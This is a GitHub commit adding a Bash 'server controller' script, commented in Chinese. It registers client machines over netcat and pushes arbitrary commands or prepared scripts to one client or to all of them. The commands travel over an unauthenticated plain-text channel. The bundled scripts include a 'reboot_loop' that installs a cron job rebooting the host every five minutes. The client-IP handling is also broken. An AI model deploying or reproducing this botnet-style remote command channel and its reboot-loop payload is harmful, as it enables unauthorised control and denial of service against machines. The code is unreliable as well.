Create 01
This commit is contained in:
GitHub
321
01
Normal file
321
01
Normal file
@@ -0,0 +1,321 @@
|
||||
#!/bin/bash
|
||||
|
||||
# 服务器控制器脚本 - 监听端口5555
|
||||
# 支持: Debian, Ubuntu, CentOS, RHEL, Fedora, Alpine
|
||||
|
||||
SERVER_PORT=5555
|
||||
LOG_FILE="/var/log/controller_server.log"
|
||||
CLIENTS_FILE="/var/lib/controller_clients.txt"
|
||||
SCRIPT_DIR="/opt/controller_scripts"
|
||||
|
||||
# 颜色输出
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
log() {
|
||||
echo -e "$(date '+%Y-%m-%d %H:%M:%S') - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_color() {
|
||||
echo -e "${2}${1}${NC}"
|
||||
}
|
||||
|
||||
# 检查root权限
|
||||
check_root() {
|
||||
if [[ $EUID -ne 0 ]]; then
|
||||
print_color "错误: 此脚本需要root权限运行" "$RED"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# 安装依赖
|
||||
install_dependencies() {
|
||||
local distro=$(grep -oP '(?<=^ID=).+' /etc/os-release | tr -d '"')
|
||||
|
||||
case $distro in
|
||||
debian|ubuntu)
|
||||
apt-get update
|
||||
apt-get install -y net-tools iproute2
|
||||
;;
|
||||
centos|rhel|fedora)
|
||||
yum install -y net-tools iproute2 || dnf install -y net-tools iproute2
|
||||
;;
|
||||
alpine)
|
||||
apk add net-tools iproute2
|
||||
;;
|
||||
*)
|
||||
log "未知发行版，请手动安装net-tools和iproute2"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# 初始化环境
|
||||
initialize() {
|
||||
mkdir -p "$(dirname "$LOG_FILE")"
|
||||
mkdir -p "$(dirname "$CLIENTS_FILE")"
|
||||
mkdir -p "$SCRIPT_DIR"
|
||||
|
||||
# 创建示例脚本
|
||||
create_sample_scripts
|
||||
|
||||
touch "$LOG_FILE"
|
||||
touch "$CLIENTS_FILE"
|
||||
|
||||
print_color "初始化完成!" "$GREEN"
|
||||
}
|
||||
|
||||
create_sample_scripts() {
|
||||
# 关机脚本
|
||||
cat > "$SCRIPT_DIR/shutdown.sh" << 'EOF'
|
||||
#!/bin/bash
|
||||
echo "执行关机操作..."
|
||||
shutdown -h now
|
||||
EOF
|
||||
|
||||
# 重启脚本
|
||||
cat > "$SCRIPT_DIR/reboot.sh" << 'EOF'
|
||||
#!/bin/bash
|
||||
echo "执行重启操作..."
|
||||
reboot
|
||||
EOF
|
||||
|
||||
# 服务重启脚本
|
||||
cat > "$SCRIPT_DIR/restart_services.sh" << 'EOF'
|
||||
#!/bin/bash
|
||||
echo "重启网络服务..."
|
||||
systemctl restart networking 2>/dev/null || systemctl restart network 2>/dev/null
|
||||
echo "重启SSH服务..."
|
||||
systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
|
||||
EOF
|
||||
|
||||
# 无限重启脚本 (危险)
|
||||
cat > "$SCRIPT_DIR/reboot_loop.sh" << 'EOF'
|
||||
#!/bin/bash
|
||||
echo "设置无限重启 - 危险操作!"
|
||||
(crontab -l 2>/dev/null; echo "*/5 * * * * /sbin/reboot") | crontab -
|
||||
reboot
|
||||
EOF
|
||||
|
||||
# 取消无限重启
|
||||
cat > "$SCRIPT_DIR/cancel_loop.sh" << 'EOF'
|
||||
#!/bin/bash
|
||||
echo "取消无限重启..."
|
||||
crontab -l | grep -v reboot | crontab -
|
||||
echo "已取消计划重启任务"
|
||||
EOF
|
||||
|
||||
chmod +x "$SCRIPT_DIR"/*.sh
|
||||
}
|
||||
|
||||
# 显示客户端列表
|
||||
show_clients() {
|
||||
if [[ ! -s "$CLIENTS_FILE" ]]; then
|
||||
print_color "没有已连接的客户端" "$YELLOW"
|
||||
return
|
||||
fi
|
||||
|
||||
print_color "已连接的客户端列表:" "$BLUE"
|
||||
print_color "序列号 | IP地址 | 主机名 | 系统信息 | 最后在线" "$BLUE"
|
||||
print_color "------------------------------------------------------------" "$BLUE"
|
||||
cat "$CLIENTS_FILE"
|
||||
}
|
||||
|
||||
# 向客户端发送命令
|
||||
send_command() {
|
||||
local serial=$1
|
||||
local command=$2
|
||||
|
||||
if [[ -z "$serial" || -z "$command" ]]; then
|
||||
print_color "用法: send <序列号> <命令>" "$RED"
|
||||
return
|
||||
fi
|
||||
|
||||
local client_info=$(grep "^$serial|" "$CLIENTS_FILE")
|
||||
if [[ -z "$client_info" ]]; then
|
||||
print_color "错误: 未找到序列号 $serial 的客户端" "$RED"
|
||||
return
|
||||
fi
|
||||
|
||||
IFS='|' read -r serial ip hostname system last_seen <<< "$client_info"
|
||||
|
||||
print_color "向客户端 $serial ($hostname) 发送命令: $command" "$GREEN"
|
||||
|
||||
# 发送命令到客户端
|
||||
echo "COMMAND:$command" | nc -w 5 "$ip" 5556
|
||||
|
||||
if [[ $? -eq 0 ]]; then
|
||||
print_color "命令发送成功!" "$GREEN"
|
||||
else
|
||||
print_color "命令发送失败!" "$RED"
|
||||
fi
|
||||
}
|
||||
|
||||
# 广播命令到所有客户端
|
||||
broadcast_command() {
|
||||
local command=$1
|
||||
|
||||
if [[ -z "$command" ]]; then
|
||||
print_color "用法: broadcast <命令>" "$RED"
|
||||
return
|
||||
fi
|
||||
|
||||
print_color "向所有客户端广播命令: $command" "$YELLOW"
|
||||
|
||||
while IFS='|' read -r serial ip hostname system last_seen; do
|
||||
if [[ -n "$serial" ]]; then
|
||||
echo "向 $serial 发送命令..."
|
||||
echo "COMMAND:$command" | nc -w 3 "$ip" 5556
|
||||
fi
|
||||
done < "$CLIENTS_FILE"
|
||||
}
|
||||
|
||||
# 执行本地脚本
|
||||
execute_script() {
|
||||
local serial=$1
|
||||
local script_name=$2
|
||||
|
||||
if [[ -z "$serial" || -z "$script_name" ]]; then
|
||||
print_color "用法: script <序列号> <脚本名>" "$RED"
|
||||
print_color "可用脚本:" "$BLUE"
|
||||
ls "$SCRIPT_DIR"/*.sh | xargs -n 1 basename
|
||||
return
|
||||
fi
|
||||
|
||||
local script_path="$SCRIPT_DIR/$script_name"
|
||||
if [[ ! -f "$script_path" ]]; then
|
||||
print_color "错误: 脚本 $script_name 不存在" "$RED"
|
||||
return
|
||||
fi
|
||||
|
||||
local client_info=$(grep "^$serial|" "$CLIENTS_FILE")
|
||||
if [[ -z "$client_info" ]]; then
|
||||
print_color "错误: 未找到序列号 $serial 的客户端" "$RED"
|
||||
return
|
||||
fi
|
||||
|
||||
IFS='|' read -r serial ip hostname system last_seen <<< "$client_info"
|
||||
|
||||
print_color "向客户端 $serial 发送脚本: $script_name" "$GREEN"
|
||||
|
||||
# 发送脚本执行命令
|
||||
echo "SCRIPT:$script_name" | nc -w 5 "$ip" 5556
|
||||
}
|
||||
|
||||
# 启动服务器
|
||||
start_server() {
|
||||
print_color "启动控制器服务器在端口 $SERVER_PORT..." "$GREEN"
|
||||
print_color "服务器日志: $LOG_FILE" "$BLUE"
|
||||
print_color "客户端列表: $CLIENTS_FILE" "$BLUE"
|
||||
|
||||
while true; do
|
||||
log "等待客户端连接..."
|
||||
nc -l -p $SERVER_PORT -c '
|
||||
client_ip=$(echo $SSH_CLIENT | awk "{print \$1}")
|
||||
read -r data
|
||||
timestamp=$(date "+%Y-%m-%d %H:%M:%S")
|
||||
|
||||
if echo "$data" | grep -q "HEARTBEAT|"; then
|
||||
IFS="|" read -r heartbeat serial hostname system <<< "$data"
|
||||
# 更新或添加客户端信息
|
||||
grep -v "^$serial|" /var/lib/controller_clients.txt > /tmp/clients.tmp
|
||||
echo "$serial|$client_ip|$hostname|$system|$timestamp" >> /tmp/clients.tmp
|
||||
mv /tmp/clients.tmp /var/lib/controller_clients.txt
|
||||
echo "ACK:OK"
|
||||
else
|
||||
echo "ACK:UNKNOWN_COMMAND"
|
||||
fi
|
||||
'
|
||||
sleep 1
|
||||
done
|
||||
}
|
||||
|
||||
# 显示帮助
|
||||
show_help() {
|
||||
print_color "服务器控制器命令:" "$BLUE"
|
||||
echo "list - 显示客户端列表"
|
||||
echo "send - 向指定客户端发送命令"
|
||||
echo "broadcast - 向所有客户端广播命令"
|
||||
echo "script - 执行预定义脚本"
|
||||
echo "scripts - 显示可用脚本"
|
||||
echo "start - 启动服务器"
|
||||
echo "stop - 停止服务器"
|
||||
echo "status - 显示服务器状态"
|
||||
echo "help - 显示此帮助"
|
||||
}
|
||||
|
||||
# 主菜单
|
||||
main_menu() {
|
||||
print_color "=== 跨平台服务器控制器 ===" "$BLUE"
|
||||
echo "1. 启动服务器"
|
||||
echo "2. 显示客户端列表"
|
||||
echo "3. 发送命令到客户端"
|
||||
echo "4. 广播命令到所有客户端"
|
||||
echo "5. 执行脚本"
|
||||
echo "6. 显示可用脚本"
|
||||
echo "7. 服务器状态"
|
||||
echo "8. 退出"
|
||||
|
||||
read -p "请选择操作 [1-8]: " choice
|
||||
|
||||
case $choice in
|
||||
1)
|
||||
start_server
|
||||
;;
|
||||
2)
|
||||
show_clients
|
||||
;;
|
||||
3)
|
||||
read -p "输入序列号: " serial
|
||||
read -p "输入命令: " command
|
||||
send_command "$serial" "$command"
|
||||
;;
|
||||
4)
|
||||
read -p "输入广播命令: " command
|
||||
broadcast_command "$command"
|
||||
;;
|
||||
5)
|
||||
read -p "输入序列号: " serial
|
||||
read -p "输入脚本名: " script
|
||||
execute_script "$serial" "$script"
|
||||
;;
|
||||
6)
|
||||
print_color "可用脚本:" "$BLUE"
|
||||
ls "$SCRIPT_DIR"/*.sh | xargs -n 1 basename
|
||||
;;
|
||||
7)
|
||||
print_color "服务器状态:" "$BLUE"
|
||||
pgrep -f "nc -l -p $SERVER_PORT" >/dev/null && \
|
||||
print_color "服务器运行中" "$GREEN" || \
|
||||
print_color "服务器未运行" "$RED"
|
||||
;;
|
||||
8)
|
||||
print_color "再见!" "$GREEN"
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
print_color "无效选择!" "$RED"
|
||||
;;
|
||||
esac
|
||||
|
||||
echo
|
||||
main_menu
|
||||
}
|
||||
|
||||
# 脚本入口
|
||||
case "${1:-}" in
|
||||
start)
|
||||
check_root
|
||||
install_dependencies
|
||||
initialize
|
||||
start_server
|
||||
;;
|
||||
*)
|
||||
check_root
|
||||
install_dependencies
|
||||
initialize
|
||||
main_menu
|
||||
;;
|
||||
esac
|
||||
Reference in New Issue
Block a user